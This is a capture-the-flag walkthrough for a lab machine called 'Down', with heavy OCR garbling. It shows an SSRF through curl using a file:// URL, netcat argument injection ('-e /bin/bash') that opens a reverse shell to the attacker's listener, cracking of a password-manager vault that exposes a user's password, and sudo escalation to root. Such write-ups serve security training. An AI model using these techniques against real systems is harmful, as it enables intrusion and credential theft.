Maquina Down

https://www.vulnlab.com/machines

Reconnaissance

sudo nmap -sSCV --min-rate 5000 -p- --open -n -Pn 10.10.87.59 -oN scanl .txt
Starting Nmap 7.95 ( https:/nmap.org ) at 2025-06-20 14:52 CEST

Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 14:52 (0:00:06 remaining)
Nmap scan report for 10.10.87.59

Host is up (0.038s latency).

Not shown: 59880 closed tcp ports (reset), 5653 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:19:4c:dd:f8 (ECDSA)

| 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd: 11 (ED25519)

80/tcp open http Apache httpd 2.4.52 ((Ubuntu))

| http-title: Is it down or just me?



https://www.vulnlab.com/machines

|_http-server-header: Apache/2.4.52 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux _kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 23.56 seconds

We start using nmap in order to know port and services running in the target and it reported us the port
22 and 80. We'll explore HTTP since we cannot do nothing with ssh for now.
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Is it down or just me?

Is that website down, or is it just you?

Please enter a URL.

In http this web exists which we can use to apparently make requests
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Is it down or just me?

Is that website down, or is itjust you?

Please enter a URL.

Is it down?

Itis up. It's just you! &
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it down or just me?

Is that website down, or is it just you?

” http://10.8.6189/ http://10.8.6:189]] ]

Is it down?

It is up. It's just you! &

After some tests, I can figured two things out. First as the image above, if you put two url, it will do a
request to each url it receives, the other is that is probably using curl.

Explotation

So due to the way it's using curl, we can attemp to a SSRF:



Is that website down, or is it just you?

http:,-‘;‘10.10.87.59,f ; file:f/[etc/passwd

Is it down?

Itis up. It's just you! &

<!DOCTYPE html=>
<html lang="en"=
<head=
<meta charset="UTF-8"=
<meta name="viewport” content="width=device-width, initial-scale=1.@"=
<title>Is it down or just me?<ftitlas
<link rel="stylesheet” href="style css">

</head>
<body>
<header>
<img src="/logo.png" alt="Logo™=
<h2>Is it down or just me?</h2>
</header>

<div class="container”>

<hl>Is that website down. or is it just you?</hl=
<form id="urlForm" action="index.php" method="P0OST">
«input type="url” id="url" name="url” placeholder="Please enter a URL." required=<brs
<button type="submit">Is it down?</button=
</ form>
<fdiv>
</div=>
<footer>e 2024 isitdownorjustme LLC</footer>
</body>

Lt

Toot:x:@:@:1o0t: /root:/bin/bash
dasmon daemon: fusrfsbin: fuscfsbin/nologin
bin: in:fbin: fusrisbinfnologin
SY5: :sys:fdev: fusrfsbin/nologin
sync:x:4:65534:sync: /bin: /binf sync
games :x:5:6@: games : fusT/games: /usrfsbin/nologin
man:x:6:12 :man: /varfcache/man: fusr/sbin/nologin
1p:x:7:7:1p:/vaz/spool/lpd: /usr/sbin/nologin
mail:x:&:8:mail:/var/mail: /usz/sbin/nologin
9:news : /var/spool/news : /usr/sbin/mologin
8:1@: uucp: fvar/spoolfuucp: fust/sbinfnologin

3 3:13:proxy: /bin: fusrfsbinfnologin
wwwi-datacx:33:33 :www-data: /var/wew: fusrisbin/nologin
backup:x:34:34:backup:/var/backups: fusrfsbin/nologin
list:x:3B:38:Mailing List Manager:/var/list:/fusz/sbin/nologin
irc:x:39:39:ircd:/runfircd:/usr/sbin/nologin
gnats:x:41:41:6nats Bug-Reporting System {admin):/var/lib/gnats:/usr/sbin/nologin
nobody : x:65534:65534 :nobody : Mnonexistent : /usr/sbin/nologin
_apt:x:188:65534: : fnonexistent: /usr/sbin/mnologin
systemd- network : B81:102:systemd Metwork Management,.,:/Tun/systemd:/usr/sbin/nologin
systemd- resolve:x:182:183:systemd Resolver, .. :/Tun/systemd: fusr/shin/nologin
messagebus 1x:183:184: : /nonexistent: fusrfsbin/nologin
systemd- timesync:x:184:185:systemd Time Synchronization,,,:/Tun/systemd:/usr/sbin/nologin
pollinate:x:185: fvarfcachefpollinate: /bin/false
sshd:x:1086:65534: : frun/sshd: fusz/sbin/nologin
syslog:x:187:113: : fhome/syslog: fusr/sbin/nologin
uuidd:x:188:114; :/runfuuidd: fusz/sbin/nologin
tepdump: x:189:115: : fnonexistent : fusr/sbin/mologin
tss:x:118:116:TPM software stack,,.:/var/lib/tpm:/binffalse
landscape:x:111:117: : fvar/libflandscape: fusr/sbin/nologin
fwupd-refresh:x:112:118: fwupd-refresh user, ., :/Tun/systemd: fusr/sbin/nologin
usbmue:x:113: 46 ;usbmux daemon, , , : fvar/libfusbmux: fusz/sbin/nologin
aleks:x:180@: 180%: Aleks: fhome/aleks: /bin/bash
1xd:x:999:18@: : /var/snap/ 1xd/ commons/1xd: fbinf false

Viewing index.php in order to get the webserver-code, we can see that a expert mode exists so lets see
it.



<1D0CTYPE html=
<html lang="en"=
<head=
<meta charset="UTF-8"=
<meta name="viewport" content="width=device-width, initial-scale=1.8"=
<title>Is it down or just me?</titlex
<link rel="stylesheet” href="style.css"=
= fhead>
<bady>

<header>
<img src="/logo.png" alt="Logo™=>
<h2>Is it down or just me?</h2=
</header=

<div class="container”s

<Iphp
if [ isset(% GET['expertmode’]) &B 3 GET['expertmode’] === "tcp” ) {
echo '<hl>Is the port refused, or'Ter—tt—T ¥

<form id="urlForm” action="index.php?expertmode=tcp” method="PO5ST">
=input type="text" id="url” name="ip~ placeholder="Please enter am IP." required»<br>
<input type="number” id="port" name="port” placeholder="Please enter a port number.” required=<br>
<button type="submit">Is it refused?=/buttons

< form=>" ;

} else {
echo '<hl>Is that website down, or is it just youZ</hl=

<form id="urlForm" action="index.php" method="P05T">
=input type="url® id="url” name="url® placeholder="Please enter a URL." reguired=<br=
=button type="submit">Is it down?=/button>

<{form>" ;

if [ isset(3_GET['expertmode’]) && $_GET['expertmode'] === "tcp” && isset(3_POST['ip’']) && isset($_POST['poxt’']) ) {
$ip = trim{$_POSTI'ip"1);
$valid_ip = filter_war({$ip. FILTER_VALIDATE_IP);
$port = trim(% POST['port'l);
$port_int = intwval($port);
$valid_port = filter wvar{%port_int, FILTER_VALIDATE_INT});
if [ $valid ip &&E $wvalid port ] {
Src = 255%; Soutput = "°;
Sjec = escapeshellcmd(”fusri/bin/nc -vz $ip Sport”);
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Is the port refused, or is it just you?

Please enter an IP.

Please enter a port number.

Is it refused?

In this new function, if we make a request to a unkown host we will get this error and searching in
google we can confirm that is using nc

inverse host lookup failed: Unknown host

ed a high level of ver



So lets get a reverse shell:

Is the port refused, or is it just you?

10.8.6.189

4444 -e [bin/bash|

Please enter a number.
Is it refused?

It is up. It's just you! &
In order to bypass this, lets use burp:

Request

Pretty Raw

=

POST /ind

Lo I R W R Ty J

ept-Encoding:
Content-Type:
Content-Leng
g Origin: http:/J
5ec-GPC: 1
Connection:

mo~=l Ch

0 /index. phg ertmode=tcp
Upgrade-Insecure-Requests:
DNT: 1
15 Prierity: u=8, i

7 ip=18@ 6.189&port=4444 -e /bin/bash

nc -nlvp 4444
Connection from 10.10.87.59:44878

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilage Escalation

Once in, investigating the Aleks' home directory, there is a content apparently encrypted in pswm



So I used this decryptor in order to find the master password and discover Aleks' password

> python3 pswm-decrypt.py -f code -w /ust/share/wordlis

+] Master Password: flower

+]| Decrypted Data:

| pswm | aleks | flower
| aleks@down | aleks | luY3w22uc-Wr {xNHR~+E |
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Once logged as aleks we can execute whatever as whoever so lets get the root:

aleks@down:~/.local/share/pswm$ sudo -1
sudo| password for aleks:
Matching Defaults entries for aleks on down:
env_reset, mail t
secure_path=/us

use pty

User aleks may run the following commands on down:
ALL: ALL) ALL




